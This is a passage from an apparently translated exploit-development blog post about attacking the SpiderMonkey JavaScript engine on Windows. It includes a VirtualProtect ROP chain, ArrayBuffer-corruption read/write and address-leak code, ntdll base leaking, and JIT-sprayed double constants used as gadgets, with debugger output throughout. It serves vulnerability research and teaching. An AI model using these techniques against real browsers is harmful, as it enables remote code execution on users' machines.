1: JSVAL_TYPE_INT32: 0x1
@$smdump_jsvalue(0xfff8800000000001)
这并不完美,但看起来我们至少对这里有一定程度的控制。 回想一下,我想我可以走几条路(下面介绍一些):
- 当 @rdx 指向 Target 对象时,我们可以尝试修改 TypedArray 的内联后备缓冲区来触发 ROP 链,
- 当 @r8 指向指向我们选择的任意字符串的指针时,我们可以注入一个指向我们的 ROP 链的位置的指针,伪装成属性名称的内容,
- 当 @r9 指向一个 js :: Value 时,我们可以尝试注入一个 double,一旦编码,就是一个指向我们 ROP 链的位置的有效指针。
当时,我只看到一种方式:第一种方式。 我们的想法是创建一个具有最大内联缓冲区的 TypedArray。 利用内联缓冲区意味着更少的内存取消引用使得数据透视更简单。 假设我们设法在那里操作,我们可以有一个非常小的 ROP 链重定向到第二个存储在我们有无限空间的地方。
我们正在寻找的 stack-pivot 的小工具如下所示 - 在内联缓冲区中进行旋转:1
rsp <- [rdx] + X with 0x40 <= X < 0x40 + 90
或者 - 在缓冲区中旋转:1
rsp <- [[rdx] + 0x38]
找到这个 pivot 实际上比我想象的要花费更多时间。 我花了很多时间试图手动找到它并尝试各种组合(JOP等)。 这并没有真正发挥作用,我决定编写一个工具,试图转向地址空间中可用的每个可执行字节并模拟前进,直到看到包含标记字节的 rsp 崩溃。失败了一段时间之后,这个解决方案终于奏效了。 它并不完美,因为我想首先只在 js.exe 模块中查找。 事实证明,工具找到的是在 ntdll.dll 中。 又多了复杂的两件事:
- 这意味着我们还需要泄漏 ntdll 模块的基地址。 好吧,这应该不难实现,但只需编写更多代码。
- 这也意味着现在漏洞利用依赖于随时间变化的系统模块:不同版本的 Windows,ntdll 中的安全更新等,使漏洞利用不可靠。
哦,我认为我会首先专注于编写出 EXP ,而不是对可靠性部分感到不好。 那些将是下一个考虑的问题(这就是kaizen.js 试图解决的问题)。
这是我的工具最终找到的 gadget:
1 | 0:000> u ntdll+000bfda2 l10 |
以下是重要的部分:1
2
3
4
5
600007fff`b8c4fda3 ff33 push qword ptr [rbx]
[...]
00007fff`b8c4fda8 5c pop rsp
00007fff`b8bf500d 4883c440 add rsp,40h
[...]
00007fff`b8bf5016 c3 ret
当然,如果你跟进了,你可能想知道 @rbx 在劫持点的值是什么,因为我们并没有真正花时间谈论它。 好吧,如果向上滚动一下,你会注意到 @rbx 与 @rdx 的值相同,它是指向描述 Target 的 JSObject 的指针。
- 第一行在堆栈上压栈实际的 JSObject,
- 第二行将它从堆栈弹出到 @rsp,
- 第三行添加 0x40,这意味着 @rsp 现在指向 TypedArray 的后备缓冲区,我们完全控制其内容,
- 最后返回。
通过这一点,我们可以控制执行流程,以及控制堆栈:-)。 当时使用的 ntdll 模块可以在这里获得 。
下面将逐步显示执行流程落在上面的 stack-pivot gadget 上,此时调试器的样子:
1 | 0:000> bp ntdll+bfda2 |
泄漏 ntdll 基地址
不幸的是,在解决上述步骤时,又增加了我们要解决的另一个问题。 即使我们找到了一个 pivot,我们现在需要在运行时检索加载 ntdll 模块的位置。
由于这个利用的部分已经非常充满了硬编码偏移的写法,因此有一个简单的方法。我们已经有了 js.exe 模块的基地址,我们知道 js.exe 从一堆其他模块中导入了函数,比如 kernel32.dll(但不是 ntdll.dll)。那么从这,dump 出所有从 Kernel32 中导入的函数,并看到如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
190:000> !dh -a js
[...]
_IMAGE_IMPORT_DESCRIPTOR 00007ff781e3e118
KERNEL32.dll
00007FF781E3D090 Import Address Table
00007FF781E3E310 Import Name Table
0 time date stamp
0 Index of first forwarder reference
0:000> dqs 00007FF781E3D090
00007ff7`81e3d090 00007fff`b647c2d0 KERNEL32!RtlLookupFunctionEntryStub
00007ff7`81e3d098 00007fff`b6481890 KERNEL32!RtlCaptureContext
00007ff7`81e3d0a0 00007fff`b6497390 KERNEL32!UnhandledExceptionFilterStub
00007ff7`81e3d0a8 00007fff`b6481b30 KERNEL32!CreateEventW
00007ff7`81e3d0b0 00007fff`b6481cb0 KERNEL32!WaitForSingleObjectEx
00007ff7`81e3d0b8 00007fff`b6461010 KERNEL32!RtlVirtualUnwindStub
00007ff7`81e3d0c0 00007fff`b647e640 KERNEL32!SetUnhandledExceptionFilterStub
00007ff7`81e3d0c8 00007fff`b647c750 KERNEL32!IsProcessorFeaturePresentStub
00007ff7`81e3d0d0 00007fff`b8c038b0 ntdll!RtlInitializeSListHead
kernel32!InitializeSListHead 是从 ntdll!RtlInitializeSListHead 前向导出的,那我们能从 js+0190d0d0 出读取到 ntdll 内的地址。从这里,我们可以减去(另一个)硬编码的偏移量来获得基地址。
执行任意代码
此时,我们可以执行任意大小的 ROP payload 。我们希望它能执行我们选择的任意 Payload 。这非常简单。我们调用VirtualProtect 来使 TypedArray 缓冲区(保存 payload 的缓冲区)有可执行的权限。接着,在那里分支执行。
这是 basic.js 中使用的链:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26const PAGE_EXECUTE_READWRITE = new Int64(0x40);
const BigRopChain = [
// 0x1400cc4ec: pop rcx ; ret ; (43 found)
Add(JSBase, 0xcc4ec),
ShellcodeAddress,
// 0x1400731da: pop rdx ; ret ; (20 found)
Add(JSBase, 0x731da),
new Int64(Shellcode.length),
// 0x14056c302: pop r8 ; ret ; (8 found)
Add(JSBase, 0x56c302),
PAGE_EXECUTE_READWRITE,
VirtualProtect,
// 0x1413f1d09: add rsp, 0x10 ; pop r14 ; pop r12 ; pop rbp ; ret ; (1 found)
Add(JSBase, 0x13f1d09),
new Int64('0x1111111111111111'),
new Int64('0x2222222222222222'),
new Int64('0x3333333333333333'),
new Int64('0x4444444444444444'),
ShellcodeAddress,
// 0x1400e26fd: jmp rbp ; (30 found)
Add(JSBase, 0xe26fd)
];
这里不是编写我自己的 payload 或重新使用互联网上的一个,这是我的 Binary:Ninja 的 ShellCode 编译器。这个想法非常简单,它允许您使用比机器代码更高级别的语言编写与位置无关的 payload 。您可以使用 subset of C 来编写它,然后将其编译为所需的体系架构。
1 | void main() { |
我用 scc.exe –arch x64 –platform windows scc-payload.cc 和 tada 编译了上面的内容。在尝试之后,我很快发现创建计算器进程时 Payload 会崩溃。我以为我打乱一些东西,那我开始调试它。最后,结果是 scc 的代码生成有一个错误,并不能确保堆栈指针是 16 字节对齐。这是一个问题,因为访问内存的一堆 SSE 指令需要 16 字节对齐的dest / source 位置。在向 Vector35 的人员反映了我的具体问题之后,他们在开发频道中非常快速地修复了它(甚至在我写了一个小的复制品之前, \< 24 小时),这非常了不起。
该利用现在正在运行:)。 完整的源代码可在此处获得:basic.js
评估
我想我们终于成功了。 我实际上已经重写了这个利用至少三次,以使它变得越来越少,也越来越容易。 我真的鼓励你尽可能地努力改进和迭代它。 每当我调整漏洞利用或重写其中的一部分时,我就会学到新东西,完善其他东西,并且变得越来越有控制力。 总的来说,就我而言,没有浪费时间:)。
一旦兴奋和喜悦平息下来(可能需要你弹出一百个非常好的计算器:)),仔细看看我们所取得的成就以及我们能够/应该改进的事情总是一件好事。
下面是一些我还没做到的点:
- 硬编码偏移量。 这是我一点都不想要的。 在运行时解决我们需要的一切应该很容易。只需要我们编写更多代码。
- 我们之前发现的 stack pivot 并不是很好。 它特定于上面提到的 ntdll 的特定构建,即使我们能够在运行时在内存中找到它,我们也不能保证,明天它是否存在,或者对我们造成破坏。 因此,尽早摆脱它可能是一个好主意。
- 拥有这种 double pivot 也不是那么好。 它在代码中有点混乱,如果我们计划重新考虑堆栈数据块,这看起来是不需要我们做太多努力就能解决的问题。
- 使用我们当前的 EXP ,使 JavaScript shell 继续运行看起来不太容易。我们破坏了一堆寄存器,也不清楚我们可以修复多少个寄存器。
kaizen.js
你可能已经猜到了,kaizen 是上面提到问题的解决方案。首先,我们将摆脱硬编码的偏移并解决运行时所需的一切。我们希望它能够在其他地方运行,比方说,另一个 js.exe 二进制文件。为了实现这一目标,开发了一系列解析 PE 结构和扫描内存的实用程序。
下一个重要的事情是摆脱我们的 stack-pivot 对 ntdll 依赖。为此,我决定分析 Spidermonkey 的 JIT 引擎。历史证明,JIT 引擎对攻击者来说非常有用。也许我们会找到一种对我们有利的方法,但也许不会:)
这是我的初步计划。不过在执行之前,有一件事我没有明白。在对各种 PE 实用程序进行编码并开始使用它们之后,我开始观察我的 EXP 时,它崩溃了。哦,这并不有趣。感觉这个崩溃来自我们之前构建的内存访问代码。在第一次exploit中感觉很好,因为我们只读取了一些东西。然后现在它应该会很频繁的使用。这是我遇到的一次崩溃:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23(4b9c.3abc): Break instruction exception - code 80000003 (!!! second chance !!!)
js!JS::Value::toObject+0xc0:
00007ff7`645380a0 b911030000 mov ecx,311h
0:000> kc
# Call Site
00 js!JS::Value::toObject
01 js!js::DispatchTyped<js::TenuringTraversalFunctor<JS::Value>,js::TenuringTracer *>
02 js!js::TenuringTracer::traverse
03 js!js::TenuringTracer::traceSlots
04 js!js::TenuringTracer::traceObject
05 js!js::Nursery::collectToFixedPoint
06 js!js::Nursery::doCollection
07 js!js::Nursery::collect
08 js!js::gc::GCRuntime::minorGC
09 js!js::gc::GCRuntime::tryNewNurseryObject<1>
0a js!js::Allocate<JSObject,1>
0b js!js::ArrayObject::createArrayInternal
0c js!js::ArrayObject::createArray
0d js!NewArray<4294967295>
0e js!NewArrayTryUseGroup<4294967295>
0f js!js::jit::NewArrayWithGroup
10 0x0
我忘了两件事:Nursery 用于存放使用周期短的对象,并且没有无限的空间。例如,当它变满时,GC(垃圾回收机制)在该区域上运行以尝试清理。如果其中一些对象仍处于活动状态,则会将它们移动到 Tenured 堆中。当发生这种情况时,对我们来说这是一个错误,因为我们失去了对象之间的相邻性,那就一切都是……错误的。这是我最初设计没有考虑到的一件事,需要修复。
提高内存访问代码的可靠性
我决定在这里做的很简单:搬到新的空间去。不久我可以读取和写入内存,这还得感谢发生在 Nursery 中的错误。我使用那些代码来破坏在 Tenured 堆中分配的另一组对象。我选择修改 ArrayBuffer 对象,因为它们在 Tenured 堆中分配。您可以在构造时将 ArrayBuffer 传递给 TypedArray,TypedArray 为您提供 ArrayBuffer 缓冲区的视图。换句话说,我们仍然可以在内存中读取原始字节,一旦我们重新定义了我们的代码,它就会非常透明。1
2
3
4
5
6
7
8
9class ArrayBufferObject : public ArrayBufferObjectMaybeShared
{
public:
static const uint8_t DATA_SLOT = 0;
static const uint8_t BYTE_LENGTH_SLOT = 1;
static const uint8_t FIRST_VIEW_SLOT = 2;
static const uint8_t FLAGS_SLOT = 3;
// [...]
};
首先要做的是:为了做好准备,我们只需创建两个相邻的 ArrayBuffers (由 js :: ArrayBufferObject 类表示)。
然后,我们修改他们的 BYTE_LENGTH_SLOT(偏移+ 0x28)以使缓冲区更大。第一个 ArrayBuffer 用于操纵另一个 ArrayBuffer,用于服务我们的内存访问请求。与 Basic.js 完全相同,这里使用 ArrayBuffers 而不是 TypedArrays 。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18//
// Let's move the battlefield to the TenuredHeap
//
const AB1 = new ArrayBuffer(1);
const AB2 = new ArrayBuffer(1);
const AB1Address = Pwn.AddrOf(AB1);
const AB2Address = Pwn.AddrOf(AB2);
Pwn.Write(
Add(AB1Address, 0x28),
[0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
);
Pwn.Write(
Add(AB2Address, 0x28),
[0x00, 0x00, 0x01, 0x00, 0x00, 0x80, 0xf8, 0xff]
);
完成后,我们重新定义 Pwn .__ Access 函数以使用我们刚刚创建的 Tenured 对象。它几乎和以前一样工作,但一个不同的细节是后备缓冲区的地址右移 1 位。如果缓冲区位于 0xdeadbeef,则存储在 DATA_SLOT 中的地址将为0xdeadbeef >> 1 = 0x6f56df77 。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
300:005> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff7`65362ac0 4056 push rsi
0:000> ?? vp[2]
union JS::Value
+0x000 asBits_ : 0xfffe0207`ba5980a0
+0x000 asDouble_ : -1.#QNAN
+0x000 s_ : JS::Value::<unnamed-type-s_>
0:000> dt js!js::ArrayBufferObject 0x207`ba5980a0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000207`ba5b19e8 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`6597d2e8 js::HeapSlot
0:000> dqs 0x207`ba5980a0
00000207`ba5980a0 00000207`ba58a8b0
00000207`ba5980a8 00000207`ba5b19e8
00000207`ba5980b0 00000000`00000000
00000207`ba5980b8 00007ff7`6597d2e8 js!emptyElementsHeader+0x10
00000207`ba5980c0 00000103`dd2cc070 <- DATA_SLOT
00000207`ba5980c8 fff88000`00000001 <- BYTE_LENGTH_SLOT
00000207`ba5980d0 fffa0000`00000000 <- FIRST_VIEW_SLOT
00000207`ba5980d8 fff88000`00000000 <- FLAGS_SLOT
00000207`ba5980e0 fffe4d4d`4d4d4d00 <- our backing buffer
0:000> ? 00000103`dd2cc070 << 1
Evaluate expression: 2232214454496 = 00000207`ba5980e0
上述结果是,由于最后一位丢失,您无法从奇数地址读取。 要解决它,如果我们遇到一个奇数地址,我们从之前的字节读取,我们读取一个额外的字节。
1 | Pwn.__Access = function (Addr, LengthOrValues) { |
重新定义的最后一个代码是 AddrOf 。 对于这个,我只使用了前面提到的技术,我在 foxpwn 中使用过。
正如我们在文章的介绍中所讨论的那样,属性值存储在关联的 JSObject 中。当我们在ArrayBuffer上定义一个自定义属性时,它的值存储在 _slots 字段指向的内存中(因为没有足够的空间来内联存储)。这意味着如果我们有两个连续的 ArrayBuffers ,我们可以利用第一个 ArrayBuffer 相对读入第二个 slot_字段,它给出了属性值的地址。然后,我们可以简单地使用我们的任意读取内存代码来读取 js :: Value 并分离几个位以泄漏任意对象的地址。 我们假设以下 JavaScript 代码:
1 | js> AB = new ArrayBuffer() |
从调试器中我们可以看到:1
2
3
4
5
6
7
80:006> dt js::NativeObject 0000020156E9A080
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000201`56eb1a88 Void
+0x010 slots_ : 0x00000201`57153740 js::HeapSlot
+0x018 elements_ : 0x00007ff7`b48bd2e8 js::HeapSlot
0:006> dqs 0x00000201`57153740 l1
00000201`57153740 fff88000`00000539 <- 1337
所以这正是我们要做的: 在 AB2 上定义一个自定义属性并相对读出 js :: Value 和 boom 。1
2
3
4
5
6
7
8
9
10
11Pwn.AddrOf = function (Obj) {
//
// Technique from saelo's foxpwn exploit
//
AB2.hell_on_earth = Obj;
const SlotsAddressRaw = new Uint8Array(AB1).slice(48, 48 + 8);
const SlotsAddress = new Int64(SlotsAddressRaw);
return Int64.fromJSValue(this.Read(SlotsAddress, 8));
};
动态解析导出的函数地址
这真的很容易做到。
编写的实用程序能够使用用户提供的读取函数,模块基地址,它将遍历其 IAT 并解析 API 地址。 如果你更感兴趣,你可以阅读 moarutils.js 中的代码,甚至可以重复使用它!
强制 JIt 编译 gadgets:带上你的 gadgets
All right, all right, all right,最后,来到了有趣的部分。baseline JIT 的一个好处是没有 Constant blinding “blinding”)。这意味着如果我们能够找到一种方法来强制 JIT 引擎编译我们控制的常量函数,我们就可以在内存中制作我们需要的 gadgets 。我们不必依赖外部模块,而且可以更容易地制作出符合我们需求的定制组件。这就是我在 kaizen 漏洞利用中所谓的 Bring Your Own Gadgets。这不是什么新鲜事,我认为文献中使用的适当术语应是 “ JIT 代码重用 ”。
我能找到的最大类型的常量是 doubles 型,这是我最终关注的(我尝试过其他一些东西)。为了生成具有相同的表示形式而不是任意的 doubles 型数据(如上所述,我们实际上不能表示每 8 个字节值)四字(8字节),我们利用两个TypedArrays 在两个不同的表示中查看相同的数据:1
2
3
4
5
6
7
8
9function b2f(A) {
if(A.length != 8) {
throw 'Needs to be an 8 bytes long array';
}
const Bytes = new Uint8Array(A);
const Doubles = new Float64Array(Bytes.buffer);
return Doubles[0];
}
例如,我们通过调用 b2f(bytes to float) 生成一个代表 0xdeadbeefbaadc0de 的 double 型数据来启动:1
2js> b2f([0xde, 0xc0, 0xad, 0xba, 0xef, 0xbe, 0xad, 0xde])
-1.1885958399657559e+148
让我们从简单开始,创建一个基本的 JavaScript 函数,将这个常量赋给一堆不同的变量:1
2
3
4
5
6
7const BringYourOwnGadgets = function () {
const D = -1.1885958399657559e+148;
const O = -1.1885958399657559e+148;
const A = -1.1885958399657559e+148;
const R = -1.1885958399657559e+148;
const E = -1.1885958399657559e+148;
};
要提示引擎该函数是“热代码”,我们就多次调用它,因此它会被 JIT 编译为机器代码。每次调用函数时,引擎都会调用分析类型的钩子,以便跟踪 “热/冷”代码(以及其他内容)。无论如何,根据我的测试,调用函数十二次会触发 baseline JIT(你还应该知道这里记录的 onIon 和 inJit 中的魔术函数):
1 | for(let Idx = 0; Idx < 12; Idx++) { |
支持 JavaScript 函数的 C++ 对象是 JSFunction 。 这是调试器中的样子:
1 | 0:005> g |
从这里我们可以 dump 与我们的函数关联的 JSJitInfo 来获取它在内存中的位置。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
290:000> dt JSJitInfo 0x000001b8`2ff93420
+0x000 getter : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 setter : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 method : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 staticMethod : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x000 ignoresReturnValueMethod : 0x000003ed`90971bf0 bool +3ed90971bf0
+0x008 protoID : 0x1bf0
+0x008 inlinableNative : 0x1bf0 (No matching name)
+0x00a depth : 0x9097
+0x00a nativeOp : 0x9097
+0x00c type_ : 0y1101
+0x00c aliasSet_ : 0y1110
+0x00c returnType_ : 0y00000011 (0x3)
+0x00c isInfallible : 0y0
+0x00c isMovable : 0y0
+0x00c isEliminatable : 0y0
+0x00c isAlwaysInSlot : 0y0
+0x00c isLazilyCachedInSlot : 0y0
+0x00c isTypedMethod : 0y0
+0x00c slotIndex : 0y0000000000 (0)
0:000> !address 0x000003ed`90971bf0
Usage: <unknown>
Base Address: 000003ed`90950000
End Address: 000003ed`90980000
Region Size: 00000000`00030000 ( 192.000 kB)
Protect: 00000020 PAGE_EXECUTE_READ
Allocation Base: 000003ed`90950000
Allocation Protect: 00000001 PAGE_NOACCESS
看起来还不错:0x000001b82ff93420 指针指向一个 192kB 区域,该区域被分配为 PAGE_NOACCESS 但现在既可执行又可读。
在这一点上,我主要观察这些而不是阅读一堆代码。即便这可能会更容易些,我真的想坐下来了解一下(至少比我现在做的更多:)。所以我开始从 0x000003ed90971bf0 开始 dump 出大量指令并向下滚动,希望在反汇编中找到一些常量。这不是我给你的最科学的方法,但看看我最终发现了什么:
1 | 0:000> u 000003ed`90971c18 l200 |
看起来很熟悉呃? 这是我们在上面定义的 JavaScript 函数中分配的四个八字节常量。这非常好,因为这意味着我们可以使用它们在内存中植入和制造小型 gadgets (记住我们有8个字节)(在我们可以在运行时找到的位置)。
我需要的最基础的2个 gadgets:
- stack-pivot 执行类似 xchg rsp,rdx / mov rsp,qword ptr [rsp] / mov rsp,qword [rsp + 38h] / ret的操作,
- 根据 Microsoft x64 调用约定从堆栈中弹出四个四字的 gadgets,可以调用带有任意参数的kernel32!VirtualProtect。
第二点很容易。 这一系列的指令 pop rcx / pop rdx / pop r8 / pop r9 / ret 占用了7个字节,非常适合 double 型数据。 我们看下一个。
第一个是有点棘手的,因为一旦组装完的指令序列需要超过 double 型才能适合。它长 12 个字节。那很糟糕。 现在,如果我们考虑 JIT 列出指令和常量的方式,我们可以轻松地将一段代码分支到第二个代码。让我们说另一个常量,我们可以使用另外八个字节。你可以用两个字节短的 jmp 轻松实现这一点。这意味着我们有 6 个字节用于有用的代码,两个字节用于 jmp 到下一个部分。在上述约束条件下,我决定将序列分成三个,然后用两个跳转连接起来。第一条指令 xchg rsp,rdx 需要三个字节,第二条指令需要移动 rsp,qword ptr [rsp] 需要四个字节。我们没有足够的空间让它们都在同一个常数上,所以我们用 NOP 填充第一个常量并在末尾放置一个短的 jmp +6 。第三条指令长度为五个字节,因此我们不能将第二条和第三条指令放在同一个常量上。再次,我们自己填充第二个,并使用短的 jmp +6 分支到第三个部分。第四个指令 ret 只有一个字节,因此我们可以将第三个和第四个指令组合在同一个常数上。
最终我们得到了:
1 | const BringYourOwnGadgets = function () { |
一旦函数被 JIT 编译后,让我们去调试器中确认下:
1 | 0:000> ?? vp[2] |
反汇编 gadget,允许我们控制 kernel32 的前四个参数!VirtualProtect ..:
1 | 0:000> u 0000015d`e28a2569+2 |
和这是第三部分的 stack-pivot:
1 | 0:000> u 0000015d`e28a2577+2 |
是不是很酷? 为了能够轻松扫描内存中的 gadget,我甚至可以设置 ascii 常量。 一旦找到它,我就知道其余的 gadgets 应该跟随这六个字节。
1 | // |
这样可以解决我们对 ntdll 模块的依赖问题,同时也为我们提供了继续进程的正确方向,因为我们可以轻松地保存/恢复。 mov rsp,qword ptr [rsp + 38h] 允许我们直接写入 TypedArray 的后备缓冲区。我们一次转到我们的 ROP链,它调用 kernel32!VirtualProtect 并将执行调度到我们的 payload 位置。
评估
写这个很有趣。 一系列新的挑战,尽管我并没有预见到其中的一小部分。 这也是为什么实际动手真的很重要的原因。 它可能看起来很容易,但你真的做过。 特别是在处理如此大的工程时,你无法预测一切,因此往往会发生意想不到的事情。
在这个阶段,我想尝试解决和改进三件事:
- 该 EXP 仍然无法继续执行。 弹出计算器后 payload 退出,因为我们会在返回时崩溃。
- 它仅针对 JavaScript shell。 我们所做的所有努力使得漏洞利用程序更少依赖于这个版本的 js.exe 应该有助于使漏洞利用在 Firefox 中。
- 我喜欢 JIT 代码重用技术。 虽然它很好,但是我仍然需要动态解决 kernel32!VirtualProtect 的地址,这有点烦人。这比较烦,因为 payload 也会执行相同的工作:在运行时解析所有依赖项。但是,如果我们可以让 payload 自己解决这个问题呢?如果我们尽可能的使用 JIT代码重用技术 ,而不是制造一些 gadgets,我们将整个 payload 并到JITed 常量中会怎么样?如果可以的话,进程继续运行可能是非常重要的。 payload 应该返回,它应该正常工作(tm)。